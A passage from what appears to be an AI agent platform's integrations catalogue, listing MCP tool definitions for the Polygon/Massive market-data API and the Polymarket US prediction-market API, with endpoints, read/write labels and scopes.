/api/v1/polygon/stocks/filings/vX/risk-factors. Scopes: api. polygon_get_stocks_financials_v1_balance_sheets (read) — A comprehensive financial dataset containing quarterly and annual balance sheet data for public companies. Includes detailed asset, liability, and equity positions representing the company's financial position at specific points in time. Balance sheet data represents point-in-time snapshots rather than cumulative flows, showing what the company owns, owes, and shareholders' equity as of each period end date. via GET /stocks/financials/v1/balance-sheets GET /api/v1/polygon/stocks/financials/v1/balance-sheets. Scopes: api. polygon_get_stocks_financials_v1_cash_flow_statements (read) — A comprehensive financial dataset containing quarterly, annual, and trailing twelve-month cash flow statement data for public companies. Includes detailed operating, investing, and financing cash flows with proper TTM calculations that sum all cash flow components over four quarters. TTM records are validated to ensure exactly four distinct quarters spanning 250-400 days for accurate trailing twelve-month cash flow analysis. via GET /stocks/financials/v1/cash-flow-statements GET /api/v1/polygon/stocks/financials/v1/cash-flow-statements. Scopes: api. polygon_get_stocks_financials_v1_income_statements (read) — A comprehensive database of income statement financial data for public companies, including key metrics such as revenue, expenses, and net income for various reporting periods. via GET /stocks/financials/v1/income-statements GET /api/v1/polygon/stocks/financials/v1/income-statements. Scopes: api. polygon_get_stocks_financials_v1_ratios (read) — A comprehensive financial ratios dataset providing key valuation, profitability, liquidity, and leverage metrics for public companies. Combines data from income statements, balance sheets, and cash flow statements with daily stock prices to calculate ratios on a daily basis. Uses trailing twelve months (TTM) data for income/cash flow metrics and quarterly data for balance sheet items. Fundamental data updates are applied starting from each filing's period end date. Market cap calculations use point-in-time shares outstanding for historical accuracy. via GET /stocks/financials/v1/ratios GET /api/v1/polygon/stocks/financials/v1/ratios. Scopes: api. polygon_get_stocks_taxonomies_vx_disclosures (read) — The complete list of 8-K disclosure classifications used in the 8-K disclosures endpoint. via GET /stocks/taxonomies/vX/disclosures GET /api/v1/polygon/stocks/taxonomies/vX/disclosures. Scopes: api. polygon_get_stocks_taxonomies_vx_risk_factors (read) — The complete list of risk factor classifications used in the risk factors endpoint. via GET /stocks/taxonomies/vX/risk-factors GET /api/v1/polygon/stocks/taxonomies/vX/risk-factors. Scopes: api. polygon_get_stocks_v1_dividends (read) — Contains historical dividend payment records for US stocks with split-adjusted amounts and historical adjustment factors for price normalization. via GET /stocks/v1/dividends GET /api/v1/polygon/stocks/v1/dividends. Scopes: api. polygon_get_stocks_v1_exchanges (read) — US stock exchanges, trading venues, and reporting facilities including exchanges (NYSE, Nasdaq), Trade Reporting Facilities (TRF), Securities Information Processors (SIP), and OTC Reporting Facilities (ORF) for equity trading. via GET /stocks/v1/exchanges GET /api/v1/polygon/stocks/v1/exchanges. Scopes: api. polygon_get_stocks_v1_short_interest (read) — Comprehensive FINRA short interest data that tracks the short selling metrics for securities on a specific settlement date. via GET /stocks/v1/short-interest GET /api/v1/polygon/stocks/v1/short-interest. Scopes: api. polygon_get_stocks_v1_short_volume (read) — Contains short selling volume for different stock tickers, capturing total trading volume, short sale details, and breakdown by different trading platforms. via GET /stocks/v1/short-volume GET /api/v1/polygon/stocks/v1/short-volume. Scopes: api. polygon_get_stocks_v1_splits (read) — Contains historical stock split and reverse split events for US equities with historical adjustment factors for price normalization. via GET /stocks/v1/splits GET /api/v1/polygon/stocks/v1/splits. Scopes: api. polygon_get_stocks_vx_float (read) — Contains free float data for US-listed securities, showing the most recent available number of shares available for public trading and the percentage of total shares outstanding. via GET /stocks/vX/float GET /api/v1/polygon/stocks/vX/float. Scopes: api. polygon_get_tmx_v1_corporate_events (read) — Contains corporate events and announcements for publicly traded companies, including earnings releases, conferences, dividends, and business updates sourced from TMX. via GET /tmx/v1/corporate-events GET /api/v1/polygon/tmx/v1/corporate-events. Scopes: api. polygon_get_v1_conversion_by_from_by_to (read) — Get currency conversions using the latest market conversion rates. Note than you can convert in both directions. For example USD to CAD or CAD to USD. via GET /v1/conversion/{from}/{to} GET /api/v1/polygon/v1/conversion/{from}/{to}. Scopes: api. polygon_get_v1_historic_crypto_by_from_by_to_by_date (read) — Get historic trade ticks for a cryptocurrency pair. via GET /v1/historic/crypto/{from}/{to}/{date} GET /api/v1/polygon/v1/historic/crypto/{from}/{to}/{date}. Scopes: api. polygon_get_v1_historic_forex_by_from_by_to_by_date (read) — Get historic ticks for a forex currency pair. via GET /v1/historic/forex/{from}/{to}/{date} GET /api/v1/polygon/v1/historic/forex/{from}/{to}/{date}. Scopes: api. polygon_get_v1_indicators_ema_by_stockticker (read) — Get the exponential moving average (EMA) for a ticker symbol over a given time range. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v1/indicators/ema/{ticker} GET /api/v1/polygon/v1/indicators/ema/{ticker}. Scopes: api. polygon_get_v1_indicators_macd_by_stockticker (read) — Get moving average convergence/divergence (MACD) data for a ticker symbol over a given time range. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v1/indicators/macd/{ticker} GET /api/v1/polygon/v1/indicators/macd/{ticker}. Scopes: api. polygon_get_v1_indicators_rsi_by_stockticker (read) — Get the relative strength index (RSI) for a ticker symbol over a given time range. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v1/indicators/rsi/{ticker} GET /api/v1/polygon/v1/indicators/rsi/{ticker}. Scopes: api. polygon_get_v1_indicators_sma_by_stockticker (read) — Get the simple moving average (SMA) for a ticker symbol over a given time range. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v1/indicators/sma/{ticker} GET /api/v1/polygon/v1/indicators/sma/{ticker}. Scopes: api. polygon_get_v1_last_crypto_by_from_by_to (read) — Get the last trade tick for a cryptocurrency pair. via GET /v1/last/crypto/{from}/{to} GET /api/v1/polygon/v1/last/crypto/{from}/{to}. Scopes: api. polygon_get_v1_last_quote_currencies_by_from_by_to (read) — Get the last quote tick for a forex currency pair. via GET /v1/last_quote/currencies/{from}/{to} GET /api/v1/polygon/v1/last_quote/currencies/{from}/{to}. Scopes: api. polygon_get_v1_marketstatus_now (read) — Get the current trading status of the exchanges and overall financial markets. via GET /v1/marketstatus/now GET /api/v1/polygon/v1/marketstatus/now. Scopes: api. polygon_get_v1_marketstatus_upcoming (read) — Get upcoming market holidays and their open/close times. via GET /v1/marketstatus/upcoming GET /api/v1/polygon/v1/marketstatus/upcoming. Scopes: api. polygon_get_v1_open_close_by_stocksticker_by_date (read) — Get the open, close and afterhours prices of a stock symbol on a certain date. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v1/open-close/{ticker}/{date} GET /api/v1/polygon/v1/open-close/{ticker}/{date}. Scopes: api. polygon_get_v1_open_close_crypto_by_from_by_to_by_date (read) — Get the open, close prices of a cryptocurrency symbol on a certain day. via GET /v1/open-close/crypto/{from}/{to}/{date} GET /api/v1/polygon/v1/open-close/crypto/{from}/{to}/{date}. Scopes: api. polygon_get_v1_reference_ipos (read) — Contains comprehensive data about Initial Public Offerings (IPOs) and direct listings for US stocks, tracking both historical and pending offerings with detailed pricing, share, and timing information. via GET /v1/reference/ipos GET /api/v1/polygon/v1/reference/ipos. Scopes: api. polygon_get_v1_reference_sec_filings (read) — List filings via GET /v1/reference/sec/filings GET /api/v1/polygon/v1/reference/sec/filings. Scopes: api. polygon_get_v1_reference_sec_filings_by_filing_id (read) — Get filing via GET /v1/reference/sec/filings/{filing_id} GET /api/v1/polygon/v1/reference/sec/filings/{filing_id}. Scopes: api. polygon_get_v1_reference_sec_filings_by_filing_id_files (read) — List filing files via GET /v1/reference/sec/filings/{filing_id}/files GET /api/v1/polygon/v1/reference/sec/filings/{filing_id}/files. Scopes: api. polygon_get_v1_reference_sec_filings_by_filing_id_files_by_file_id (read) — Get filing file via GET /v1/reference/sec/filings/{filing_id}/files/{file_id} GET /api/v1/polygon/v1/reference/sec/filings/{filing_id}/files/{file_id}. Scopes: api. polygon_get_v1_related_companies_by_ticker (read) — Get a list of tickers related to the queried ticker based on News and Returns data. via GET /v1/related-companies/{ticker} GET /api/v1/polygon/v1/related-companies/{ticker}. Scopes: api. polygon_get_v1_summaries (read) — Get everything needed to visualize the tick-by-tick movement of a list of tickers. via GET /v1/summaries GET /api/v1/polygon/v1/summaries. Scopes: api. polygon_get_v2_aggs_grouped_locale_global_market_crypto_by_date (read) — Get the daily open, high, low, and close (OHLC) for the entire cryptocurrency markets. via GET /v2/aggs/grouped/locale/global/market/crypto/{date} GET /api/v1/polygon/v2/aggs/grouped/locale/global/market/crypto/{date}. Scopes: api. polygon_get_v2_aggs_grouped_locale_global_market_fx_by_date (read) — Get the daily open, high, low, and close (OHLC) for the entire forex markets. via GET /v2/aggs/grouped/locale/global/market/fx/{date} GET /api/v1/polygon/v2/aggs/grouped/locale/global/market/fx/{date}. Scopes: api. polygon_get_v2_aggs_grouped_locale_us_market_stocks_by_date (read) — Get the daily open, high, low, and close (OHLC) for the entire stocks/equities markets. via GET /v2/aggs/grouped/locale/us/market/stocks/{date} GET /api/v1/polygon/v2/aggs/grouped/locale/us/market/stocks/{date}. Scopes: api. polygon_get_v2_aggs_ticker_by_stocksticker_prev (read) — Get the previous day's open, high, low, and close (OHLC) for the specified stock ticker. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v2/aggs/ticker/{ticker}/prev GET /api/v1/polygon/v2/aggs/ticker/{ticker}/prev. Scopes: api. polygon_get_v2_aggs_ticker_by_stocksticker_range_by_multiplier_by_timespan_by_from_by_to (read) — Get aggregate bars for a stock over a given date range in custom time window sizes. <br /> <br /> For example, if timespan = ‘minute’ and multiplier = ‘5’ then 5-minute bars will be returned. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v2/aggs/ticker/{ticker}/range/{multiplier}/{timespan}/{from}/{to} GET /api/v1/polygon/v2/aggs/ticker/{ticker}/range/{multiplier}/{timespan}/{from}/{to}. Scopes: api. polygon_get_v2_last_nbbo_by_stocksticker (read) — Get the most recent NBBO (Quote) tick for a given stock. via GET /v2/last/nbbo/{stocksTicker} GET /api/v1/polygon/v2/last/nbbo/{stocksTicker}. Scopes: api. polygon_get_v2_last_trade_by_stocksticker (read) — Get the most recent trade for a given stock. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v2/last/trade/{ticker} GET /api/v1/polygon/v2/last/trade/{ticker}. Scopes: api. polygon_get_v2_reference_news (read) — Get the most recent news articles relating to a stock ticker symbol, including a summary of the article and a link to the original source. via GET /v2/reference/news GET /api/v1/polygon/v2/reference/news. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_crypto_by_direction (read) — Get the current top 20 gainers or losers of the day in cryptocurrency markets. <br /> <br /> Top gainers are those tickers whose price has increased by the highest percentage since the previous day's close. Top losers are those tickers whose price has decreased by the highest percentage since the previous day's close. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. via GET /v2/snapshot/locale/global/markets/crypto/{direction} GET /api/v1/polygon/v2/snapshot/locale/global/markets/crypto/{direction}. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_crypto_tickers (read) — Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for all traded cryptocurrency symbols. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. This can happen as early as 4am EST. via GET /v2/snapshot/locale/global/markets/crypto/tickers GET /api/v1/polygon/v2/snapshot/locale/global/markets/crypto/tickers. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_crypto_tickers_by_ticker (read) — Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for a single traded cryptocurrency symbol. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. via GET /v2/snapshot/locale/global/markets/crypto/tickers/{ticker} GET /api/v1/polygon/v2/snapshot/locale/global/markets/crypto/tickers/{ticker}. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_crypto_tickers_by_ticker_book (read) — Get the current level 2 book of a single ticker. This is the combined book from all of the exchanges. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. via GET /v2/snapshot/locale/global/markets/crypto/tickers/{ticker}/book GET /api/v1/polygon/v2/snapshot/locale/global/markets/crypto/tickers/{ticker}/book. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_forex_by_direction (read) — Get the current top 20 gainers or losers of the day in forex markets. <br /> <br /> Top gainers are those tickers whose price has increased by the highest percentage since the previous day's close. Top losers are those tickers whose price has decreased by the highest percentage since the previous day's close. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. via GET /v2/snapshot/locale/global/markets/forex/{direction} GET /api/v1/polygon/v2/snapshot/locale/global/markets/forex/{direction}. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_forex_tickers (read) — Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for all traded forex symbols. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. This can happen as early as 4am EST. via GET /v2/snapshot/locale/global/markets/forex/tickers GET /api/v1/polygon/v2/snapshot/locale/global/markets/forex/tickers. Scopes: api. polygon_get_v2_snapshot_locale_global_markets_forex_tickers_by_ticker (read) — Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for a single traded currency symbol. <br /> <br /> Note: Snapshot data is cleared at 12am EST and gets populated as data is received from the exchanges. via GET /v2/snapshot/locale/global/markets/forex/tickers/{ticker} GET /api/v1/polygon/v2/snapshot/locale/global/markets/forex/tickers/{ticker}. Scopes: api. polygon_get_v2_snapshot_locale_us_markets_stocks_by_direction (read) — Get the most up-to-date market data for the current top 20 gainers or losers of the day in the stocks/equities markets. <br /> <br /> Top gainers are those tickers whose price has increased by the highest percentage since the previous day's close. Top losers are those tickers whose price has decreased by the highest percentage since the previous day's close. This output will only include tickers with a trading volume of 10,000 or more. <br /> <br /> Note: Snapshot data is cleared at 3:30am EST and gets populated as data is received from the exchanges. via GET /v2/snapshot/locale/us/markets/stocks/{direction} GET /api/v1/polygon/v2/snapshot/locale/us/markets/stocks/{direction}. Scopes: api. polygon_get_v2_snapshot_locale_us_markets_stocks_tickers (read) — Get the most up-to-date market data for all traded stock symbols. <br /> <br /> Note: Snapshot data is cleared at 3:30am EST and gets populated as data is received from the exchanges. This can happen as early as 4am EST. via GET /v2/snapshot/locale/us/markets/stocks/tickers GET /api/v1/polygon/v2/snapshot/locale/us/markets/stocks/tickers. Scopes: api. polygon_get_v2_snapshot_locale_us_markets_stocks_tickers_by_stocksticker (read) — Get the most up-to-date market data for a single traded stock ticker. <br /> <br /> Note: Snapshot data is cleared at 3:30am EST and gets populated as data is received from the exchanges. This can happen as early as 4am EST. via GET /v2/snapshot/locale/us/markets/stocks/tickers/{stocksTicker} GET /api/v1/polygon/v2/snapshot/locale/us/markets/stocks/tickers/{stocksTicker}. Scopes: api. polygon_get_v2_ticks_stocks_nbbo_by_ticker_by_date (read) — Get NBBO quotes for a given ticker symbol on a specified date. via GET /v2/ticks/stocks/nbbo/{ticker}/{date} GET /api/v1/polygon/v2/ticks/stocks/nbbo/{ticker}/{date}. Scopes: api. polygon_get_v2_ticks_stocks_trades_by_ticker_by_date (read) — Get trades for a given ticker symbol on a specified date. via GET /v2/ticks/stocks/trades/{ticker}/{date} GET /api/v1/polygon/v2/ticks/stocks/trades/{ticker}/{date}. Scopes: api. polygon_get_v3_quotes_by_stockticker (read) — Get NBBO quotes for a ticker symbol in a given time range. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v3/quotes/{ticker} GET /api/v1/polygon/v3/quotes/{ticker}. Scopes: api. polygon_get_v3_reference_conditions (read) — List all conditions that Massive uses. via GET /v3/reference/conditions GET /api/v1/polygon/v3/reference/conditions. Scopes: api. polygon_get_v3_reference_dividends (read) — Get a list of historical cash dividends, including the ticker symbol, declaration date, ex-dividend date, record date, pay date, frequency, and amount. via GET /v3/reference/dividends GET /api/v1/polygon/v3/reference/dividends. Scopes: api. polygon_get_v3_reference_exchanges (read) — List all exchanges that Massive knows about. via GET /v3/reference/exchanges GET /api/v1/polygon/v3/reference/exchanges. Scopes: api. polygon_get_v3_reference_options_contracts (read) — Query for historical options contracts. This provides both active and expired options contracts. via GET /v3/reference/options/contracts GET /api/v1/polygon/v3/reference/options/contracts. Scopes: api. polygon_get_v3_reference_options_contracts_by_options_ticker (read) — Get an options contract via GET /v3/reference/options/contracts/{options_ticker} GET /api/v1/polygon/v3/reference/options/contracts/{options_ticker}. Scopes: api. polygon_get_v3_reference_splits (read) — Get a list of historical stock splits, including the ticker symbol, the execution date, and the factors of the split ratio. via GET /v3/reference/splits GET /api/v1/polygon/v3/reference/splits. Scopes: api. polygon_get_v3_reference_tickers (read) — Query all ticker symbols which are supported by Massive. This API currently includes Stocks/Equities, Indices, Forex, and Crypto. via GET /v3/reference/tickers GET /api/v1/polygon/v3/reference/tickers. Scopes: api. polygon_get_v3_reference_tickers_by_ticker (read) — Get a single ticker supported by Massive. This response will have detailed information about the ticker and the company behind it. via GET /v3/reference/tickers/{ticker} GET /api/v1/polygon/v3/reference/tickers/{ticker}. Scopes: api. polygon_get_v3_reference_tickers_types (read) — List all ticker types that Massive has. via GET /v3/reference/tickers/types GET /api/v1/polygon/v3/reference/tickers/types. Scopes: api. polygon_get_v3_snapshot (read) — Get snapshots for assets of all types via GET /v3/snapshot GET /api/v1/polygon/v3/snapshot. Scopes: api. polygon_get_v3_snapshot_indices (read) — Get a Snapshot of indices data for said tickers via GET /v3/snapshot/indices GET /api/v1/polygon/v3/snapshot/indices. Scopes: api. polygon_get_v3_snapshot_options_by_underlyingasset (read) — Get the snapshot of all options contracts for an underlying ticker. via GET /v3/snapshot/options/{underlyingAsset} GET /api/v1/polygon/v3/snapshot/options/{underlyingAsset}. Scopes: api. polygon_get_v3_snapshot_options_by_underlyingasset_by_optioncontract (read) — Get the snapshot of an option contract for a stock equity. via GET /v3/snapshot/options/{underlyingAsset}/{optionContract} GET /api/v1/polygon/v3/snapshot/options/{underlyingAsset}/{optionContract}. Scopes: api. polygon_get_v3_trades_by_stockticker (read) — Get trades for a ticker symbol in a given time range. One endpoint serves every asset class: pass a stock symbol (AAPL), an option contract (O:SPY251219C00650000), an index (I:NDX), a forex pair (C:EURUSD) or a crypto pair (X:BTCUSD) as the ticker. Which classes answer depends on the plans the connected account holds. via GET /v3/trades/{ticker} GET /api/v1/polygon/v3/trades/{ticker}. Scopes: api. polygon_get_vx_reference_financials (read) — Get historical financial data for a stock ticker. The financials data is extracted from XBRL from company SEC filings using the methodology outlined <a rel="noopener noreferrer nofollow" target="_blank" href="http://xbrl.squarespace.com/understanding-sec-xbrl-financi/">here</a>. via GET /vX/reference/financials GET /api/v1/polygon/vX/reference/financials. Scopes: api. polygon_get_vx_reference_ipos (read) — The IPOs API provides access to detailed information about Initial Public Offerings (IPOs), including both upcoming and historical events. With this API, you can query for a comprehensive list of IPOs, along with key details such as the issuer name, ticker symbol, ISIN, IPO date, number of shares offered, expected price range, and final offering price. You can filter the results by status to focus on new, rumors, pending, historical, and more. via GET /vX/reference/ipos GET /api/v1/polygon/vX/reference/ipos. Scopes: api. polygon_get_vx_reference_tickers_by_id_events (read) — Get a timeline of events for the entity associated with the given ticker, CUSIP, or Composite FIGI. via GET /vX/reference/tickers/{id}/events GET /api/v1/polygon/vX/reference/tickers/{id}/events. Scopes: api. ================================================================================ ## Polymarket US URL: https://www.agenticfabriq.com/integrations/polymarketus Section: Integrated Tools Polymarket US — 47 MCP tools Provider key: polymarketus. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. polymarketus_delete_v1_rfqs_by_rfqid (write, destructive) — Closes an open RFQ. Polymarket US DELETE https://api.polymarket.us/v1/rfqs/{rfqId}. Authenticated: runs against the connected Polymarket US account and is signed with its API key. DELETE /api/v1/polymarketus/v1/rfqs/{rfqId}. Scopes: api. polymarketus_delete_v1_rfqs_by_rfqid_quotes_by_quoteid (write, destructive) — Deletes a quote so it can no longer be accepted. Polymarket US DELETE https://api.polymarket.us/v1/rfqs/{rfqId}/quotes/{quoteId}. Authenticated: runs against the connected Polymarket US account and is signed with its API key. DELETE /api/v1/polymarketus/v1/rfqs/{rfqId}/quotes/{quoteId}. Scopes: api. polymarketus_get_v1_account_balances (read) — Get user's current account balances including buying power, asset values, and pending transactions. Polymarket US GET https://api.polymarket.us/v1/account/balances. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/account/balances. Scopes: api. polymarketus_get_v1_combos (read) — Returns the combo matching the exact symbol. Polymarket US GET https://api.polymarket.us/v1/combos. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/combos. Scopes: api. polymarketus_get_v1_events (read) — Retrieve all events. Polymarket US GET https://gateway.polymarket.us/v1/events. Public market data; needs no credential. GET /api/v1/polymarketus/v1/events. Scopes: api. polymarketus_get_v1_events_by_id (read) — Retrieve a specific event by its ID. Polymarket US GET https://gateway.polymarket.us/v1/events/{id}. Public market data; needs no credential. GET /api/v1/polymarketus/v1/events/{id}. Scopes: api. polymarketus_get_v1_events_slug_by_slug (read) — Retrieve an event by its slug. Polymarket US GET https://gateway.polymarket.us/v1/events/slug/{slug}. Public market data; needs no credential. GET /api/v1/polymarketus/v1/events/slug/{slug}. Scopes: api. polymarketus_get_v1_incentives (read) — Returns active and historical incentive programs grouped by market. Polymarket US GET https://gateway.polymarket.us/v1/incentives. Public market data; needs no credential. GET /api/v1/polymarketus/v1/incentives. Scopes: api. polymarketus_get_v1_incentives_earnings (read) — Returns rewards earned by the authenticated caller. Each entry sums all payouts for a single (market, date) pair, where date is in Eastern Time. Polymarket US GET https://api.polymarket.us/v1/incentives/earnings. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/incentives/earnings. Scopes: api. polymarketus_get_v1_market_id_by_id (read) — Retrieve a specific market by its ID. Polymarket US GET https://gateway.polymarket.us/v1/market/id/{id}. Public market data; needs no credential. GET /api/v1/polymarketus/v1/market/id/{id}. Scopes: api. polymarketus_get_v1_market_slug_by_slug (read) — Retrieve a specific market by its slug. Polymarket US GET https://gateway.polymarket.us/v1/market/slug/{slug}. Public market data; needs no credential. GET /api/v1/polymarketus/v1/market/slug/{slug}. Scopes: api. polymarketus_get_v1_markets (read) — Retrieve all markets. Polymarket US GET https://gateway.polymarket.us/v1/markets. Public market data; needs no credential. GET /api/v1/polymarketus/v1/markets. Scopes: api. polymarketus_get_v1_markets_by_slug_bbo (read) — Retrieve current market data (best bid/offer, stats) for a specific market by its slug in a lightweight format. Polymarket US GET https://gateway.polymarket.us/v1/markets/{slug}/bbo. Public market data; needs no credential. GET /api/v1/polymarketus/v1/markets/{slug}/bbo. Scopes: api. polymarketus_get_v1_markets_by_slug_book (read) — Retrieve current market data (order book, stats) for a specific market by its slug. Polymarket US GET https://gateway.polymarket.us/v1/markets/{slug}/book. Public market data; needs no credential. GET /api/v1/polymarketus/v1/markets/{slug}/book. Scopes: api. polymarketus_get_v1_markets_by_slug_settlement (read) — Retrieve the settlement price for a specific market by its slug. Polymarket US GET https://gateway.polymarket.us/v1/markets/{slug}/settlement. Public market data; needs no credential. GET /api/v1/polymarketus/v1/markets/{slug}/settlement. Scopes: api. polymarketus_get_v1_order_by_orderid (read) — Get details for a specific order by its exchange-assigned ID. Polymarket US GET https://api.polymarket.us/v1/order/{orderId}. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/order/{orderId}. Scopes: api. polymarketus_get_v1_orders_open (read) — Get all open orders for the authenticated user. Polymarket US GET https://api.polymarket.us/v1/orders/open. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/orders/open. Scopes: api. polymarketus_get_v1_partners_by_partnerkey_events_by_externalid (read) — Resolve a partner external event ID (e.g. OpticOdds fixture ID) to the internal event and its mapped market sides. Polymarket US GET https://gateway.polymarket.us/v1/partners/{partnerKey}/events/{externalId}. Public market data; needs no credential. GET /api/v1/polymarketus/v1/partners/{partnerKey}/events/{externalId}. Scopes: api. polymarketus_get_v1_portfolio_activities (read) — Get activities for a user including trades, position resolutions, and account balance changes. Polymarket US GET https://api.polymarket.us/v1/portfolio/activities. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/portfolio/activities. Scopes: api. polymarketus_get_v1_portfolio_positions (read) — Get user's trading positions across all markets or filtered by specific market. Polymarket US GET https://api.polymarket.us/v1/portfolio/positions. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/portfolio/positions. Scopes: api. polymarketus_get_v1_price_history (read) — Returns book-derived Yes and No display prices for one market. Use the market slug as `symbol`. Supported fixed profiles: - `INTERVAL_1H` with `fidelity=1`: approximately one-minute points for the last hour - `INTERVAL_6H` with `fidelity=1`: approximately one-minute points for the last six hours - `INTERVAL_1D` with `fidelity=5`: five-minute points for the last day - `INTERVAL_1W` with `fidelity=180`: three-hour points for the last week - `INTERVAL_1M` with `fidelity=180`: three-hour points for the last 30 days - `INTERVAL_ALL` with `fidelity=180`: three-hour points for newer markets and daily points for longer histories - `INTERVAL_LIVE` with `fidelity=1`: from 15 minutes before the event starts through now For a custom range, provide both Unix timestamps and use `fidelity=1`. Custom ranges are intended for short windows of up to 24 hours and return stored observations, which may be irregular or more frequent than once per minute. `longPrice` is the Yes display price, normally derived from the best ask. `shortPrice` is the No display price, normally derived from one minus the best bid. They can sum to more than 1 because they preserve the bid-ask spread; these are not individual trades. The endpoint supports one market per request. Cache identical responses for at least 30 seconds, stagger refreshes across markets, and observe the [20 requests/second/IP public limit](/api-reference/rate-limits). For live updates after loading history, use the [Markets WebSocket](/api-reference/websocket/markets). Polymarket US GET https://gateway.polymarket.us/v1/price-history. Public market data; needs no credential. GET /api/v1/polymarketus/v1/price-history. Scopes: api. polymarketus_get_v1_rfqs (read) — Returns RFQs matching the query filters. Polymarket US GET https://api.polymarket.us/v1/rfqs. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/rfqs. Scopes: api. polymarketus_get_v1_rfqs_quotes (read) — Returns quotes matching the query filters. Polymarket US GET https://api.polymarket.us/v1/rfqs/quotes. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/rfqs/quotes. Scopes: api. polymarketus_get_v1_rfqs_user_id (read) — Returns the public RFQ user ID for the authenticated participant. Polymarket US GET https://api.polymarket.us/v1/rfqs/user-id. Authenticated: runs against the connected Polymarket US account and is signed with its API key. GET /api/v1/polymarketus/v1/rfqs/user-id. Scopes: api. polymarketus_get_v1_search (read) — Search for a given query. Polymarket US GET https://gateway.polymarket.us/v1/search. Public market data; needs no credential. GET /api/v1/polymarketus/v1/search. Scopes: api. polymarketus_get_v1_series (read) — Retrieve all series. Polymarket US GET https://gateway.polymarket.us/v1/series. Public market data; needs no credential. GET /api/v1/polymarketus/v1/series. Scopes: api. polymarketus_get_v1_series_id_by_id (read) — Retrieve a specific series by its ID. Polymarket US GET https://gateway.polymarket.us/v1/series/id/{id}. Public market data; needs no credential. GET /api/v1/polymarketus/v1/series/id/{id}. Scopes: api. polymarketus_get_v1_sports (read) — Fetch sports data. Polymarket US GET https://gateway.polymarket.us/v1/sports. Public market data; needs no credential. GET /api/v1/polymarketus/v1/sports. Scopes: api. polymarketus_get_v1_sports_by_seriesid_events (read) — Retrieve events sections for a sport series (optional trending, optional live, and sport section). Same structure as home page. Polymarket US GET https://gateway.polymarket.us/v1/sports/{seriesId}/events. Public market data; needs no credential. GET /api/v1/polymarketus/v1/sports/{seriesId}/events. Scopes: api. polymarketus_get_v1_sports_players (read) — Fetch sports players, filterable by abbreviation, name, id, team, or provider reference. Polymarket US GET https://gateway.polymarket.us/v1/sports/players. Public market data; needs no credential. GET /api/v1/polymarketus/v1/sports/players. Scopes: api. polymarketus_get_v1_sports_teams (read) — Fetch sports teams data for enriching sports events. Polymarket US GET https://gateway.polymarket.us/v1/sports/teams. Public market data; needs no credential. GET /api/v1/polymarketus/v1/sports/teams. Scopes: 